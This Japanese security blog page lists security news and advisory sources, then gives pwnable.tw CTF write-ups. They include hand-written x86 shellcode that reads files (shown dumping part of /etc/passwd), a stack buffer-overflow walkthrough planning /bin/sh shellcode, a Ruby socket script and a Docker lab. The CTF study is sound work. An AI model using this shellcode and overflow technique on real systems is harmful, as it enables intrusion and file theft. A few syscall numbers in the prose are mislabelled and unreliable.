カスタムURLの先頭に「/」つけちゃってたので修正しましたorz
security.nekotricolor.com
セキュリティに関する情報源を整理してみた 2020年版
【2020/08/03 「デジタル・フォレンジック研究会」追加】
2015年に公開した以下の記事、そろそろ全体的に更新したくなったので新たに記事を作成しました。
リンク切れの修正が主ですが、多少追加・削除しています。間違いがありましたらtwitter等でお知らせいただけると大変助かります。
目次
政府機関
公式サイト | 新着情報の場所 |
---|---|
内閣サイバーセキュリティセンター | What's New |
経済産業省:情報セキュリティ政策 | 最新情報 |
総務省:サイバーセキュリティ統括官 | 新着情報 |
総務省:情報通信政策 | 報道発表、情報通信行政の最新トピックス |
高度情報通信ネットワーク社会推進戦略本部(IT総合戦略本部) | お知らせ |
警察庁@police | トピックス |
警察庁サイバー犯罪対策プロジェクト | What's new |
CRYPTREC | 新着情報 |
セキュリティ関連団体
公式サイト | 新着情報の場所 |
---|---|
JPCERT コーディネーションセンター | 注意喚起/JPCERT/CCからのお知らせ(RSS) |
情報処理推進機構(IPA) | 新着情報(RSS) |
日本ネットワークセキュリティ協会(JNSA) | NEWS TOPICS -更新情報-(RSS) |
情報セキュリティ教育事業者連絡会(ISEPA) | ISEPAからのお知らせ |
フィッシング対策協議会 | 緊急情報一覧 |
セイファーインターネット協会(SIA) | お知らせ |
重要生活機器連携セキュリティ協議会(CCDS) | 新着情報 |
日本クラウドセキュリティアライアンス(CSAジャパン) | 新着情報 |
デジタル・フォレンジック研究会 | 一覧 |
セキュリティベンダー
セキュリティベンダーのうち、注意喚起やセキュリティ関連情報を公開しているところをピックアップ。
公式サイト | 新着情報の場所 |
---|---|
ラック | 注意喚起の記事 |
エフセキュア | エフセキュアブログ(RSS) |
トレンドマイクロ | トレンドマイクロセキュリティブログ(RSS) |
トレンドマイクロ:インターネットセキュリティナレッジ | ニュース一覧(RSS) |
マカフィー | セキュリティニュース |
カスペルスキー | 脅威 |
IBM Security | Tokyo SOC Report |
FireEye | ブログ(脅威調査) |
その他団体
セキュリティを銘打っているわけではないけど、チェックしておいた方がいいサイト。
公式サイト | 新着情報の場所 |
---|---|
日本ネットワークインフォメーションセンター(JPNIC) | 新着情報(RSS) |
日本レジストリサービス(JPRS) | 新着情報一覧(RSS) |
日本情報経済社会推進協会(JIPDEC) | ニューストピックス |
金融情報システムセンター | トピックス |
日本銀行金融研究所 | 新着情報(RSS) |
Internet Society Japan(ISOC-JP) | News |
脆弱性情報(全分野)
網羅的に公開しているもの。
- Alerts | US-CERT(RSS)
- Current Activity | US-CERT(RSS)
- Vulnerability Notes(RSS)
- Japan Vulnerability Notes(RSS)
脆弱性情報(ベンダ・開発者)
ベンダーのセキュリティアドバイザリやパッチの情報など。英語版が先に出て日本語版が後から公開されるベンダは、英語日本語両方のページを載せています。
Microsoft
Apple
Adobe
- Security Bulletins and Advisories(英語)(RSS)
- セキュリティ速報および情報(日本語)
- Adobe Product Security Incident Response Team (PSIRT) Blog(英語)
Cisco
Oracle
- Critical Patch Updates, Security Alerts and Bulletins(英語)(RSS)
- Critical Patch UpdatesとSecurity Alerts(日本語)
WordPress
その他
名称 | セキュリティ情報 |
---|---|
Mozilla | Mozilla Foundation Security Advisories(英語) |
ISC | LATEST NEWS(RSS) |
脆弱性情報(言語)
名称 | セキュリティ情報 |
---|---|
Ruby | 最近のニュース |
Python | Python Insider(RSS) |
PHP | PHP |
国内のニュースサイト
海外のニュースサイト
数が多いのでRSSはご勘弁を。
- E Hacking News
- Help Net Security
- Netcraft
- WeLiveSecurity
- tripwire/state-of-security/
- HACKMEGADDON
- The Gurdian/technology/hacking
- The Register/security
- ZDNet/topic/security/
- Wired/category/security/
関連記事
pwnable.twのorwのwrite-up。シェルコードを書く
前回の「start」のwrite-upに思いの外アクセスがあって嬉しかったので、調子に乗って早々に次の問題もやってみました。スコア100の「orw」です。
前回のwrite-upは以下。
本当は今回からpwn用ツールを色々使ってみようと思ったのですが、使うと一瞬で終わっちゃうので結局使っていません。
目次
環境
ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
security.nekotricolor.com
以降、MBAのコマンドプロンプトは「%」、DockerのUbuntuは「#」です。
方針
challenges/のorwのページにアクセスすると、以下のようなことが書いてあります。
Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.
ということで、/home/orw/flagをopenし、readして標準出力かなにかにwriteすればフラグが分かると思われます。
事前調査
問題に書かれているものをとりあえずやってみる
問題のページに書かれているncコマンドを実行してみます。
% nc chall.pwnable.tw 10001
Give my your shellcode:
「Give "me"では?」という気がしますが気にせずリターンキーを押してみるとプロンプトに戻ります。
startと同じく、標準入力になんらかの文字列を入れるパターンのようです。
fileコマンド
問題のページからorwをダウンロードして、fileコマンドでなんのファイルなのかを見てみます。
# file orw orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
実行ファイルのようです。
stringsコマンド
ファイルサイズが前回より大きく、たくさん出ちゃったので途中は略。特に有益な情報はなかったです。
# strings orw /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used __stack_chk_fail printf (略) .fini_array .jcr .dynamic .got.plt .data .bss .comment
ファイルを実行
今回も実行ファイルですので、実行してみます。なお、orwはlibc6-i386がインストールされていない環境だと動かないようです。
# ./orw
Give my your shellcode:
最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10001番ポートに接続するとこのorwが実行されるのでしょう。
文字列が入力できるときは、とりあえず大量に「a」を入力してみます。
# ./orw
Give my your shellcode:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。
gdb上で実行する
前回と同じく、せっかく異常終了したのでgdb上で実行して大量の文字列を入力してみます。
# gdb -q ./orw Reading symbols from ./orw...(no debugging symbols found)...done. (gdb) r Starting program: /root/share/orw/orw Give my your shellcode:1234567890abcdefghijk Program received signal SIGSEGV, Segmentation fault. 0x0804a060 in shellcode () (gdb) i r eax 0x804a060 134520928 ecx 0x804a060 134520928 edx 0xc8 200 ebx 0x0 0 esp 0xffffd71c 0xffffd71c ebp 0xffffd728 0xffffd728 esi 0xf7fc5000 -134459392 edi 0x0 0 eip 0x804a060 0x804a060 <shellcode> eflags 0x10282 [ SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
eip周辺のメモリの中身を見てみますと・・
(gdb) x/10x $eip 0x804a060 <shellcode>: 0x34333231 0x38373635 0x62613039 0x66656463 0x804a070 <shellcode+16>: 0x6a696867 0x00000a6b 0x00000000 0x00000000 0x804a080 <shellcode+32>: 0x00000000 0x00000000 (gdb)
なんとびっくり入力した文字列がそのまま実行されています。*1
文字列の長さは関係ないですね。とにかく文字列を入力、というかただリターンするだけでも異常終了すると。
ということは、もはや逆アセンブルする必要もなく、「方針」で書いた通り /home/orw/flag を open して read して write するシェルコードを標準入力に与えればいいわけですね。
シェルコードを書く
脆弱性をつくわけじゃないので「シェルコード」ではないのかな?特定のファイルをopen/read/writeするアセンブリコードです。
ファイルをopenする
/home/orw/flagというファイルを(read onlyで)openするには、以下のようなシステムコールを実行します。
open("/home/orw/flag", 0, 0)
int 0x80でシステムコールを呼び出す場合、システムコールの番号をeaxに、引数をebxから順番に設定する必要があります。
blog.ishikawa.tech
となると、以下のようなシェルコードを書く必要があります。
- /home/orw/flag\x00という文字列をpush(espの指す先に「/home/orw/flag\x00」という文字列が入ることになります)
- eaxはopen()システムコールの番号の「5」にする
- ebxはespと同値にする
- ecx、edx(open()の第二、第三引数)は「0」にする
- int 0x80でシステムコールを呼び出す
ただし、「\x00」が途中に入るとプログラムが終了してしまうためそこは一工夫。pwntoolsのshellcraftを参考にしました。(だったらそっちを使えって話ですが)
pwnlib.shellcraft.i386 — Shellcode for Intel 80386 — pwntools 4.0.1 documentation
これの「pwnlib.shellcraft.i386.linux.syscall」の項に、以下のような記述があります。
print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip()) /* open(file='/home/pwn/flag', oflag=0, mode=0) */ /* push b'/home/pwn/flag\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016660 push 0x6c662f6e push 0x77702f65 push 0x6d6f682f /* call open() */ push SYS_open /* 5 */ pop eax int 0x80
0x1010101と0x1016660のxorは「0x00006761」、リトルエンディアンを考慮しつつ文字列に変換すると「ag\x00\x00」。つまり、/home/pwn/flag\x00の最後の4バイトになります。賢い。
文字数がちょうど一緒なので、上記の/home/pwn/flagの「pwn」の部分を「orw」にすればこのまま流用できます。実際のアセンブリコードは以下の通りです。
push 0x1010101 xor dword [esp], 0x1016660 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f mov ebx, esp xor ecx, ecx xor edx, edx push 0x05 pop eax int 0x80
ちなみに、前回参考にしたシェルコードの書き方の記事では、「db」という、数値を1バイトのデータとしてメモリに格納する疑似命令を使っていました。文字列が長い場合にはこっちの方が楽ですねたぶん。
openシステムコールの戻り値はファイルディスクリプタで、eaxにセットされます。ファイルディスクリプタは、0が標準入力、1が標準出力、2が標準エラー出力で、openシステムコールによるファイルディスクリプタは3から順に割り当てられるようです。
readする
ファイルディスクリプタを指定し、64バイト分readしてスタック領域に書き込むには、以下のようなシステムコールを実行します。*2
read(fd, esp, 64)
となると、以下のようなアセンブリコードを書く必要があります。
- ebxに、ファイルディスクリプタ(eax)をmovする
- ecxはespと同値にする
- edxは0x40(= 64)にする
- eaxはreadシステムコールの番号の「5」にする
- int 0x80でシステムコールを呼び出す
実際のアセンブリコードは以下の通りです。
mov ebx, eax mov ecx, esp push 0x40 pop edx push 0x03 pop eax int 0x80
writeする
標準出力にespの指す先を64バイト分writeするには、以下のようなシステムコールを実行します。
write(1, esp, 64)
となると、以下のようなアセンブリコードを書く必要があります。
- eaxはreadシステムコールの番号の「4」にする
- ebxは0x01にする
- ecxはespと同値にする
- edxは0x40(= 64)にする
- int 0x80でシステムコールを呼び出す
実際のアセンブリコードは以下の通りです。
mov ecx, esp push 0x04 pop eax push 0x01 pop ebx push 0x40 pop edx int 0x80
書いたアセンブリコードを実行してみる
先ほどのアセンブリコードをまとめてshellcode.sとします。分かりやすくするよう、ラベル(_start:とかopen:とか)をつけ、_exitとして終了処理を実行していますが、なくても大丈夫なはず。先頭の「BITS 32」は必要です。なお、終了処理は、exitシステムコール(番号は「1」)を実行するだけです。
BITS 32 global _start _start: jmp open open: push 0x1010101 xor dword [esp], 0x1016660 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f mov ebx, esp push 0x05 pop eax xor ecx, ecx xor edx, edx int 0x80 read: mov ebx, eax mov ecx, esp push 0x40 pop edx push 0x03 pop eax int 0x80 write: mov ecx, esp push 0x04 pop eax push 0x01 pop ebx push 0x40 pop edx int 0x80 _exit: xor eax, eax inc eax int 0x80
これのバイナリコードをターゲットホストに送信すればフラグが取れるのですが、せっかくなのでローカルホスト上に/home/orw/flagを作成し、ファイルが読めるかやってみます。
生のアセンブリコードを実行できるようにする方法は前回参考にさせていただいたブログに答えが書かれています。というかこの記事って書籍の一部なんですよね。何度も引用させていただいているので書籍が何かも載せておきます。
アセンブリコードを実行ファイルに変換するには、以下のコマンドを実行します。
# nasm -f aout shellcode.s # ld -m elf_i386 shellcode.o
これでa.outという実行ファイルができたので、実行してみます。なお、flagの中身は「a」の羅列にしました。
# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
?o???w???????
できました。後ろに変な文字列が入っているのは、スタック領域を(flagのサイズを超えて)64バイト分読み込んでいるからです。
(おまけ)シェルコードを短くする
レジスタに数値をセットするのにmovではなくpushとpopを使っているのは、その方がコードが短くなるからです。
movだと5バイト。
B801000000 mov eax, 0x1
pushとpopだと3バイト。
6A01 push 0x1 58 pop eax
シェルコードはものによっては書き込める領域がかなり小さかったりするので、短いに越したことはありません。今回はあまり考えなくても良さそうですが。
Capture the Flag
実行ファイルからバイナリコードを抽出する
これもどーすれば?と思いますよね。まあもう実行ファイルはできているので、gdbやnasmで逆アセンブルし、該当部分をコピペして地道に「\x」をつけてもいいんですが、それをやってくれる素晴らしいワンライナーを見つけたのでご紹介。objdumpでできるそうです。
実行した結果が以下。長いので略。
# objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\xeb\x00\x68\x01\x01\x01\x01\x81\x34\x24\x60\x66\x01\x01(略)
バイナリコードをターゲットホストに送信する
スクリプトを書いちゃうと答えになっちゃうので書きませんが、送信する部分は前回のスクリプトと同じなのでそちらを参照ください。
実行すると答えが出ちゃうのでそれも載せませんが、せっかくなので、/etc/passwdを読んでみた結果をどうぞ。64バイトしか読んでないので途中で切れてます。
# ruby 100orw_exploit.rb >> Give my your shellcode: << Sending shellcode.... >> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/u
なお、実際のスクリプトはpwnable.twのwrite-upのページに載せています。クリアした人のみ閲覧可能です。
感想
脆弱性をどうこうするのではなく、制限されたシステムコールによってフラグのファイルを閲覧する、という、製品のexploitコードを書くときにはありえないシチュエーションが面白かったです。pwntoolsのシェルコード生成のライブラリにこのへんのシステムコールを実行する機能があるということは、割とポピュラーなやり方なんでしょうか?
この問題は脆弱性だけでなく、ASLRとかDEPとかも考える必要がなく、純粋にシェルコードを書くことに特化しているのがとても良かったです。シェルコードの書き方やそれを実行する方法、バイナリコードへの変換など、これまたいい勉強になりました。
pwnable.tw攻略のためのDockerイメージ作り〜orw編
pwnable.twの「orw」のDockerイメージについて。write-upは以下。
Dockerfile
前回はいろんなことをやったのでruby環境をrbenvから作りましたが、今回は難しいことはしていないのでごくごくシンプルにしました。なお、orwはlibc6-i386が入っていないと動かないようなのでそこだけ注意。また、シェルコード作成に使うnasmも入れています。
Dockerfile.orwという名前で以下を作成します。
FROM ubuntu:18.04 RUN apt-get update && apt-get upgrade -y # basic tools RUN apt-get install -y \ git \ gdb \ file \ vim \ netcat # dev tools RUN apt-get install -y \ build-essential \ libssl-dev \ libreadline-dev \ zlib1g-dev \ curl \ wget \ ruby \ ruby-dev RUN apt-get install -y \ nasm RUN apt-get install -y \ libc6-i386
イメージを作成する
pwnabletwという名前で、タグを「orw」としました。
% docker build -f Dockerfile.orw -t pwnabletw:orw .
orwを実行するシェルスクリプトを作成する
ホストOS上のどこか(ここでは/Users/nekotricolor/share/orw)に、start.shとして以下のシェルスクリプトを作成します。
/root/share/orw/orwは問題のバイナリファイルです。
while true; do nc -l -p 10001 -e /root/share/orw/orw; done
Dockerコンテナを実行する
プロセスにアタッチできるようにするオプションをつけ、/Users/nekotricolor/shareを/root/shareにマウントしつつ、コンテナを実行します。
% docker run --rm -it --cap-add=SYS_PTRACE --name pwnabletw -v /Users/nekotricolor/share:/root/share --security-opt seccomp=unconfined pwnabletw:orw root@f71b17310dff:/#
コンテナ上でorwを実行するシェルスクリプトを実行する
/Users/nekotricolor/shareを/root/shareにマウントしたので、先ほど作ったstart.shはコンテナ上でも使えるようになっています。これを実行すると、10001番ポートがListen状態になり、接続するとorwが実行されます。
root@f71b17310dff:/# /bin/sh /root/share/orw/start.sh
コンテナに入り、10001番ポートに接続してみる
ホストOSの別のターミナルからコンテナ内に入ります。上記のroot@以下がコンテナのIDです。
% docker exec -it f71b17310dff bash
ncコマンドで10001番ポートに接続してみます。
root@f71b17310dff:/# nc localhost 10001
Give my your shellcode:
これで、問題を解く環境が整いました。
pwnable.tw startのwrite-up。CTFのバイナリ解析ではまず何をすればいいのかも書いてみました
pwnable.twのスコア100の問題、「start」のwrite-upです。
昔CTF for Girlsのバイナリ解析の講師をやったときに、講義後に実習ということで簡単な問題をやってもらったのですが、まず何をしていいのか分からないという人が結構いて、その辺を説明しなかったことをずっと後悔していたので、だいぶ詳細に解説してみました。問題自体は基本をおさえたシンプルなもので、バイナリ解析の勉強にはとてもいいのではないかと思います。
なお、諸々思い出すためにも、pwn用ツールは使わずゆっくりじっくりやっています。*1
環境
ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
検証環境はVirtualBoxでも実機でもなんでも構いません。私は母艦のMBAが不安定なのでこれを機にDockerイメージを作ってみました。
security.nekotricolor.com
以降、MBAのコマンドプロンプトは「%」、Ubuntuは「#」です。
まず何をするか
そもそもフラグとは
「CTFとはCapture the Flagのことで、与えられた問題を解いてフラグを取得する競技です」といわれますが、そもそもフラグってなんなのか、私は最初見当がつきませんでした。
結論から言うと、基本的にフラグは文字列です。
例えば:
- flag.txtに「my lovely willian」と書かれている
- ポップアップで「The flag is {my lovely willian}」と表示される
- 画像ファイルに文字列で「The flag is {my lovely willian}」と書かれている
これらの問題のフラグは全て、「my lovely willian」という文字列です。({}が含まれる場合もある)
pwnable.twの場合、トップページに「The flag is usually at /home/xxx/flag」と書かれていますので、通常はログインしたユーザのホームディレクトリにある、「flag」というファイルに書かれている文字列がフラグということになります。
問題に書かれているものをとりあえずやってみる
challenges/のstartをクリックすると、以下のような画面が出ます。
とりあえず書いてあるコマンドを実行してみます。
% nc chall.pwnable.tw 10000 Let's start the CTF: %
「Let's start the CTF:」という文字列が出て待ち状態になり、リターンを押すと接続が切れます。どうやらここになにか文字列を入れればいいらしい、と予想がつきます。
startファイルをダウンロード
上記の画面から「start」がダウンロードできます。ホストとDockerコンテナで共有しているフォルダに置いて、このファイルをDocker上で調べてみます。
fileコマンド
fileコマンドで、このファイルがなんなのかを確認。
# file start start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
実行ファイルのようです。
stringsコマンド
フラグの文字列がまんま入ってる可能性も無きにしも非ずなので、stringsコマンドで、ファイル内の表示可能な文字列を表示してみます。ファイルサイズが大きいとブワッと出てしまいますが、このファイルは564バイトしかないので安心。
# strings start hCTF:hthe hart hs sthLet' start.s _exit __bss_start _edata _end .symtab .strtab .shstrtab .text
残念ながらフラグはありませんでしたが、__bss_startとか.textとかでてるので、実行ファイルで確定のようですね。
ファイルを実行
提供されたファイルが何か、で次に何するかを決めます。といってもまだ難しいことをするわけではなく、
- 実行ファイルなら実行する
- 画像ファイルならブラウザ等で表示する
- tcpdumpの結果ならWireshark等で開く
という感じです。
今回は実行ファイルですので、実行してみます。
# ./start Let's start the CTF:
最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10000番ポートに接続するとこのstartが実行されるのでしょう。
文字列が入力できるときは、とりあえず大量に「a」を入力してみます。
# ./start Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped)
異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。
Exploit
ここから難しくなってきます。デバッグの方法やレジスタ・スタック等の基本については、手前味噌な上に未完ですが、こちらを参照していただければ幸いです。gdbではなくOllyDbgというWindowsのGUIのツールを使って説明しています。こちらの方がアセンブリコードやレジスタなどの仕組みそのものを知るには分かりやすいと思います。
gdb上で実行する
すぐにファイルをdumpしてアセンブリコードを読んでもいいのですが、せっかく異常終了したので先にgdb上で実行して大量の文字列を入力してみます。
# gdb -q start Reading symbols from start...(no debugging symbols found)...done. (gdb) r Starting program: /root/share/start Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? ()
あらやだいきなりeipが書き換わってる。バッファオーバーフローですね。
どこの部分がeipになっているか、古典的方法で確認します。
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/share/start Let's start the CTF:1234567890abcdefghijklmnopqrstuvwxyz!-#$%&'()=~|`{+*}<>?_ Program received signal SIGSEGV, Segmentation fault. 0x6e6d6c6b in ?? ()
0x6e6d6c6bということは、「nmlk」の部分、21文字目からの4バイトですね。(リトルエンディアンなので、表示が逆になっています)
objdumpによる逆アセンブル
startが何をやっているかは、objdumpコマンドで見ることができます。長いとここで挫折しますが、startはとても短いので読む気になります。読みやすくするよう行番号を付けました。
# objdump -D start start: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: [01] 8048060: 54 push %esp [02] 8048061: 68 9d 80 04 08 push $0x804809d [03] 8048066: 31 c0 xor %eax,%eax [04] 8048068: 31 db xor %ebx,%ebx [05] 804806a: 31 c9 xor %ecx,%ecx [06] 804806c: 31 d2 xor %edx,%edx [07] 804806e: 68 43 54 46 3a push $0x3a465443 [08] 8048073: 68 74 68 65 20 push $0x20656874 [09] 8048078: 68 61 72 74 20 push $0x20747261 [10] 804807d: 68 73 20 73 74 push $0x74732073 [11] 8048082: 68 4c 65 74 27 push $0x2774654c [12] 8048087: 89 e1 mov %esp,%ecx [13] 8048089: b2 14 mov $0x14,%dl [14] 804808b: b3 01 mov $0x1,%bl [15] 804808d: b0 04 mov $0x4,%al [16] 804808f: cd 80 int $0x80 [17] 8048091: 31 db xor %ebx,%ebx [18] 8048093: b2 3c mov $0x3c,%dl [19] 8048095: b0 03 mov $0x3,%al [20] 8048097: cd 80 int $0x80 [21] 8048099: 83 c4 14 add $0x14,%esp [22] 804809c: c3 ret 0804809d <_exit>: 804809d: 5c pop %esp 804809e: 31 c0 xor %eax,%eax 80480a0: 40 inc %eax 80480a1: cd 80 int $0x80
逆アセンブルした結果を読む
_start関数を読んでいきます。_exit関数は単にexitするだけみたいなので割愛。
01行目:この時点でのespの値をスタックに格納。
02行目:_exitの先頭アドレスを格納。
03〜06行目:eax、ebx、ecx、edxを0x00に。
07〜11行目:「Let's start the CTF:」という文字列をスタックに格納
12行目:この時点でのespの値をecxに格納
13行目:edxに0x14を格納
14行目:ebxに0x01を格納
15行目:eaxに0x04を格納
16行目:call命令を実行。何をどう実行するかはレジスタの値で決まる。ここでは、標準出力に(ebxが
0x01)、ecx(12行目によりespと同値)を先頭アドレスとした文字列を、20バイト(edxが0x14=20)write(eaxが0x04)する。つまり、標準出力に「Let's start CTF:」をwriteする。
17行目:ebxを0x00に。
18行目:edxに0x3cを格納。
19行目:eaxに0x03を格納。
20行目:call命令を実行。ここでは、標準入力から(ebxが0x00)、60バイト(edxが0x3c=60)read(eaxが0x03)するという意味。
21行目:espに0x14を加える。
22行目:retする。
ということでstartは「Let's start CTF:」と表示し、標準入力から60バイト読み込み、終了している、ということが分かります。たいしたことはやっていません。
バッファオーバーフローはどこで起こるのか
スタックの状態を図にすると以下のようになります。
20バイト分しか書き込める場所がないのに、read()で60バイト読み込んでいるところが脆弱性です。read()した瞬間、緑色の部分が標準入力された文字列に書き換わります。入力が20バイト以内なら何も起きませんが、20バイト以上になると22行目でretしたときにジャンプする先のアドレス(0x0804809d、つまり_exit関数の先頭アドレス)が書き換わってしまいます。「aaaa...」と入力すると、上図一番右の「????」の部分も「aaaa」と書き換わってしまい、retするとeipが0x61616161になってしまうので、Segmentation faultしてしまうというわけです。
以下、eipが書き換わる瞬間を捉えたgdbです。
# gdb -q ./start Reading symbols from ./start...(no debugging symbols found)...done. (gdb) b _start Breakpoint 1 at 0x8048060 (gdb) r Starting program: /root/share/start Breakpoint 1, 0x08048060 in _start () (gdb) disas Dump of assembler code for function _start: => 0x08048060 <+0>: push %esp 0x08048061 <+1>: push $0x804809d 0x08048066 <+6>: xor %eax,%eax 0x08048068 <+8>: xor %ebx,%ebx 0x0804806a <+10>: xor %ecx,%ecx 0x0804806c <+12>: xor %edx,%edx 0x0804806e <+14>: push $0x3a465443 0x08048073 <+19>: push $0x20656874 0x08048078 <+24>: push $0x20747261 0x0804807d <+29>: push $0x74732073 0x08048082 <+34>: push $0x2774654c 0x08048087 <+39>: mov %esp,%ecx 0x08048089 <+41>: mov $0x14,%dl 0x0804808b <+43>: mov $0x1,%bl 0x0804808d <+45>: mov $0x4,%al 0x0804808f <+47>: int $0x80 0x08048091 <+49>: xor %ebx,%ebx 0x08048093 <+51>: mov $0x3c,%dl 0x08048095 <+53>: mov $0x3,%al 0x08048097 <+55>: int $0x80 0x08048099 <+57>: add $0x14,%esp 0x0804809c <+60>: ret End of assembler dump. (gdb) b *0x0804809c Breakpoint 2 at 0x804809c (gdb) c Continuing. Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Breakpoint 2, 0x0804809c in _start () (gdb) i r eax 0x2b 43 ecx 0xffffd724 -10460 edx 0x3c 60 ebx 0x0 0 esp 0xffffd738 0xffffd738 ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x804809c 0x804809c <_start+60> eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) x/10x $esp 0xffffd738: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd748: 0x61616161 0xff0a6161 0xffffd896 0xffffd8ac 0xffffd758: 0xffffd8b4 0xffffd8c4 (gdb) si 0x61616161 in ?? () (gdb) i r eax 0x2b 43 ecx 0xffffd724 -10460 edx 0x3c 60 ebx 0x0 0 esp 0xffffd73c 0xffffd73c ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x61616161 0x61616161 eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0
シェルコードを書く
シェルコードと一言で言ってもいろいろなものがあるわけですが、今回は最もシンプルな、/bin/shを起動するものを使います。/bin/shを起動することで、以降任意のコマンドが実行できます。
/bin/shを起動するには、以下のシステムコールを実行します。
execve("/bin/sh", ["/bin/sh", 0], [0]);
execve()のシステムコールの番号は0x11、つまりeaxを0x11としてint 80すれば良い。引数の"/bin/sh"はスタックに入れてそこのアドレスをebxに・・・書くのが面倒なので以下のサイトを参考にさせていただきました。ただし、コードを短くするためにecxとedxに0x00をmovしているところはxorに変えました。
シェルコードの先頭アドレスはどこか
startをexploitして任意のコマンドを実行できるようにするためには、
- 任意の文字列 * 20
- シェルコードの先頭アドレス
- /bin/shを起動するシェルコード
をひとまとめにした文字列を、「Let's start CTF:」と表示された後に書き込めば良い、ということになります。
図にするとこういう感じです。
では、シェルコードの先頭アドレスとはどこなのか?
ここは結構考えさせられました。Ubuntuでは、アドレス空間配置のランダム化、ASLRがデフォルトで有効になっています。つまり、スタック領域の配置が、startが実行されるごとに大きく変わってしまうため、スタック領域に書き込んだシェルコードの先頭アドレスがどこなのか、事前には分かりません。
ということで、_start関数を実行中に、スタック領域のアドレス、espなりebpなりを取ってこなければなりません。
そこで注目したのは、_start関数の01行目、なぜかespをpushしているんですよね。
普通、関数が始まる時というのはebpをpushするものなのになんでだろう?と思ったのですが、これとwrite()を組み合わせることで、標準出力にespを表示させることができるのです!
どういうことかというと:
たとえば、20個の「a」を入力した場合、retが実行された時点でのスタックの状態は以下のようになります。
retはpopしてスタックから値を取り出し、その値にjmpする命令です。つまりretが実行されると(popにより)espが4バイト下がって、start開始時のespが入っているところを指します。
ここで思い出すのはアセンブリコードの16行目。
16行目:call命令を実行。何をどう実行するかはレジスタの値で決まる。ここでは、標準出力に(ebxが0x01)、ecx(12行目によりespと同値)を先頭アドレスとした文字列を、20バイト分(edxが0x14=20)write(eaxが0x04)する。
ちょっと分かりづらいんですが、上図のように、espが、start開始時のespが入っているところを指しているときに12行目〜16行目を実行すれば、start開始時のespがwrite()されることになります。
つまり。最初に、
[任意の文字列] * 20バイト + 12行目のアドレス(0x08048087)
を与え、0x08048087にjmpさせてstart開始時のespをwrite()で標準出力に表示させ、それをもとにシェルコードの先頭アドレスを求めて、続けて
[任意の文字列] * 20バイト + シェルコードの先頭アドレス + シェルコード
を与えれば、シェルコードが実行されるはずです。
Capture the Flag
さて、いよいよリモートホスト上で実行されるstartに前述の文字列を与えていくわけですが、ここからはexploitとはまた少し違う問題があります。標準入力の特定の部分に、アドレスやシェルコードをどうやって書くか。これも初めてやるとき戸惑いませんでした?人の手では書くことはできませんよね。「b80b0000・・」とか手で入力しても文字として認識されるだけですので。
そこで、バイナリを含む文字列を送信するようなスクリプトを書くことになります。
10000番ポートに接続し、文字列を送信するスクリプト
今回の問題では、リモートホストの10000番ポートに接続して、「Let's start CTF:」という文字列が表示された後に、前述したアドレスやシェルコードを含む文字列を送信する必要があります。そういうスクリプトをRubyで書きます。Pythonの方が書きやすいと思いますしCでもPerlでもなんでもOKです。
まずはDocker環境の中で、自身の10000番ポートに接続して文字列を入力するRubyスクリプトを書いてみました。*2
# encoding: ASCII-8BIT require 'socket' HOSTNAME = "localhost" #HOSTNAME = "chall.pwnable.tw" PORTNUM = 10000 s = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0) sockaddr = Socket.sockaddr_in(PORTNUM, HOSTNAME) s.connect(sockaddr) print(">> ", s.recvfrom(4096)[0], "\n") print("<< aaaaaaaaaaaa\n") s.write("aaaaaaaaaaaa") print(">> ", s.recvfrom(4096)[0], "\n")
これを実行すると、ローカルホストの10000番ポートに接続し、返答を受け取り、「aaaaaaaaaaaa」という文字列を送信し、返答を受け取る、ことができます。
リモートホストからの返信には「>>」を、こちらからの送信には「<<」を先頭につけています。このRubyスクリプトを実行すると以下のような結果になります。
# ruby socket_test.rb >> Let's start the CTF: << aaaaaaaaaaaa >>
espを取得してみる
start開始時のespを取得するには、[任意の文字列] * 20バイト + 12行目のアドレス(0x08048087)を送信します。受信した最初の4バイトがstart開始時のespです。packとかunpackとかほんとハマったんですけど、そこは本筋と関係ないので割愛します。
